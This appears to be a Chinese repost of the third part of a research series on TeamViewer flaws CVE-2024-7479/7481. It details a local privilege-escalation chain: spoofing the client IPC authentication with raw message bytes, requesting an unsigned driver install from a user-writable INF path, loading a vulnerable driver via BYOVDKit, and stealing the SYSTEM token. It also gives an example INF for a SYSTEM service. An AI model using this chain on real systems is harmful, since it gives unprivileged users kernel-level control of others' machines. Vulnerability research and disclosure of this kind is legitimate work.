如果没有看过第一部分的读者,可以先从第一部分看起:
寻找TeamViewer 0day漏洞—第一部分:故事的开始
寻找 TeamViewer 0day 漏洞(二):逆向身份验证协议
正文开始
因为我已经提前透露了,我们已经知道 TeamViewer 并没有过滤客户端发送的参数来请求驱动程序安装,也没有进行签名检查等。
所以我们在这一部分要回顾的思路是:我们将伪装成一个 TeamViewer 客户端,请求安装 VPN 驱动程序,但指明另一个 INF。我重新利用了 TeamViewer 的原始 INF,但将“坏”驱动程序重命名为 teamviewervpn.sys,放在另一个(非特权)路径下,因为这是原始 INF 针对的驱动程序名称。
首先,您可以在这里找到项目:
https://github.com/PeterGabaldon/CVE-2024-7479_CVE-2024-7481
重要说明
此方法还绕过了 TeamViewer 选项“更改需要该计算机上的管理权限”的限制。
此检查仅在通过图形用户界面有效,因为当以非特权用户身份点击按钮时,TeamViewer 选项会被禁用。但可以连接到套接字并执行任意驱动程序加载。
重要说明 II
重要说明 II
该漏洞利用依赖于版本,因为 IPC 消息中客户端指定了其 PID 及其他数据,包括版本。
客户端的版本必须与 SYSTEM 服务的版本匹配。漏洞利用需要在 Main.cpp 的第 140 行到第 143 行进行修改,以匹配目标 TeamViewer_service.exe 的版本。
编码漏洞利用
我们将首先定义所涉及的 IPC 消息结构。
我们将用它通过 TV IPC 协议通过套接字发送必要的消息。
我们还需要 MD5 实现,关于这一部分我将略过。我还使用了以下 hpp 文件进行十六进制输出打印。
https://github.com/zmb3/hexdump/blob/master/Hexdump.hpp
首先,我们将开始连接到套接字。
我决定不使用完成 I/O 端口或重叠 I/O。从技术上讲,TeamViewer 就像其他套接字一样在监听,因此我将正常连接。
一旦我们连接到 5939/tcp,我们需要发送第一条消息,即客户端发送的第一次认证消息,其中包含挑战
IPC_CLIENTE_CHALLENGE_AUTH ipcClientAuth1 ={
{0x08,0x00,0x01,0x00,0x1d,0x00,0x00,0x00,0x2d,0x02,0x09,0x10,0x00,0x00,0x00},
{0xb7,0x48,0x77,0x26,0x8a,0x72,0xb8,0xf0,0xfe,0x57,0x04,0x03,0xfc,0x64,0x2e,0xb0},
{0xfe,0x01,0x00,0x00,0x00,0x01}
};
在此上下文中,我们定义了一个IPC消息,以启动与TeamViewer的身份验证流程。客户端挑战消息会发送到服务器以开始认证。由于我们使用的是一个静态挑战(在此为一个16字节的数组),这样可以简化流程,因为服务器会返回其挑战及预期的响应。
一旦我们接收到服务器的挑战,就可以通过使用服务器的挑战和已知的静态密钥进行MD5哈希计算出正确的响应。下一步是构造正确的响应并将其返回给服务器以完成身份验证。
然后将计算出的响应发送到身份验证消息中。
现在是发送控制 IPC 消息的时候了,表明进程的 PID。
如我在第一部分中提到的,我没有去反向解析消息中的其他字段,但只要指定正确的 PID,并在最后加上一个正确的标识符就足够了。
之后,服务会向我们发送一些关于配置的消息,并尝试同步某些配置。我们只需要读取这些数据包,但无需对这些信息进行任何处理。
接下来就是最有趣的部分了。我们已经准备好发送驱动安装请求。
重要提示
我尚未分析其原因,但似乎并不是所有路径都有效。起初我以为是路径长度的问题,但在尝试了不同长度后,发现有的路径能成功,有的则不能。我猜可能是因为我做了太多测试,导致服务有点混乱。最终,我使用了以下路径,这个路径默认情况下可以由非管理员用户在Windows中创建:
C:Not Program FaaaaaaaaaabbbAnotherThingg.inf
在IPC消息中,长度只计算正文数据的长度,不包括头部。同时,它也不包括空字节的两个字节(因为是宽字符串)。
IPC消息不以空字符结束字符串。因此,我们需要在计算当前长度时考虑这些因素。
接下来,我们就可以发送这个“魔法”消息了 。
提升到内核权限
起初,我认为我们可以使用 INF 文件创建一个以 SYSTEM 身份运行的任意服务,从而提升权限。但 TeamViewer 的辅助程序最终调用了 UpdateDriverForPlugAndPlayDevicesA,而没有进行签名(目录文件)的验证。
https://learn.microsoft.com/en-us/windows/win32/api/newdev/nf-newdev-updatedriverforplugandplaydevicesa
此函数根据硬件 ID 更新现有硬件的 INF 文件。我尚未找到执行任意服务创建的方法。
尽管如此,这里有一个示例 INF 文件。
;ExampleService.inf
; INF file to create a service that executes a binary as SYSTEM
[Version]
Signature="$WINDOWS NT$"
Class=Service
ClassGuid={4D36E97D-E325-11CE-BFC1-08002BE10318}
Provider=%ProviderName%
DriverVer=06/16/2024,1.0.0.0
[DestinationDirs]
DefaultDestDir=12; DIRID_DRIVERS
[SourceDisksNames]
1=%DiskName%,,,""
[SourceDisksFiles]
ExampleService.exe =1
[Manufacturer]
%ManufacturerName%=Example,NTx86,NTamd64
[Example.NTx86]
%ServiceName%=ExampleService_Install,RootLEGACY_ExampleService
[Example.NTamd64]
%ServiceName%=ExampleService_Install,RootLEGACY_ExampleService
[ExampleService_Install]
CopyFiles=ExampleService_CopyFiles
AddService=ExampleService,0x00000002,ExampleService_Service_Inst
[ExampleService_CopyFiles]
ExampleService.exe
[ExampleService_Service_Inst]
DisplayName=%ServiceName%
ServiceType=0x10; SERVICE_WIN32_OWN_PROCESS
StartType=2; SERVICE_AUTO_START
ErrorControl=1; SERVICE_ERROR_NORMAL
ServiceBinary=%12%ExampleService.exe
StartName=LocalSystem
[Strings]
ProviderName="Example Provider"
ManufacturerName="Example Manufacturer"
ServiceName="Example Service"
DiskName="Example Installation Disk"
需要使用 makecat 生成 CAT 文件。
https://learn.microsoft.com/en-us/windows/win32/seccrypto/makecat
最后,我采用了一种更简单的方法。让我们使用 BYOVD(带上你自己的易受攻击的驱动程序)工具 BYOVDKit:
https://github.com/Hagrid29/BYOVDKit
我只是重新使用了原始 TeamViewer 的相同 INF 和 CAT,但将 teamviewervpn.sys 替换为我们想要加载的驱动程序,并重命名或复制原始 INF,在这种情况下是 *AnotherThingg.inf。
然后我们启动我们的漏洞利用程序,驱动程序就被加载了。
我们可以利用这个易受攻击的驱动程序来提升权限。
我们将复制PID 4的主访问令牌,即SYSTEM进程的令牌。
太好了,我们现在是SYSTEM
用户到内核
如果你想测试并加载另一个驱动,请记得删除我们从Windows CAT Store安装的驱动。
-
C:Windowssystem32>pnputil -enum-drivers
-
C:Windowssystem32>pnputil -delete-driver oem13.inf -force -uninstall
Thanks
thanks for https://pgj11.com/posts/Finding-TeamViewer-0days-Part-3/
本系列已经完结,很精彩的利用过程,如果想看更多有趣的内容,欢迎持续关注本公众号!
原文始发于微信公众号(一个不正经的黑客):找到 TeamViewer 0day漏洞- 第三部分:完整利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论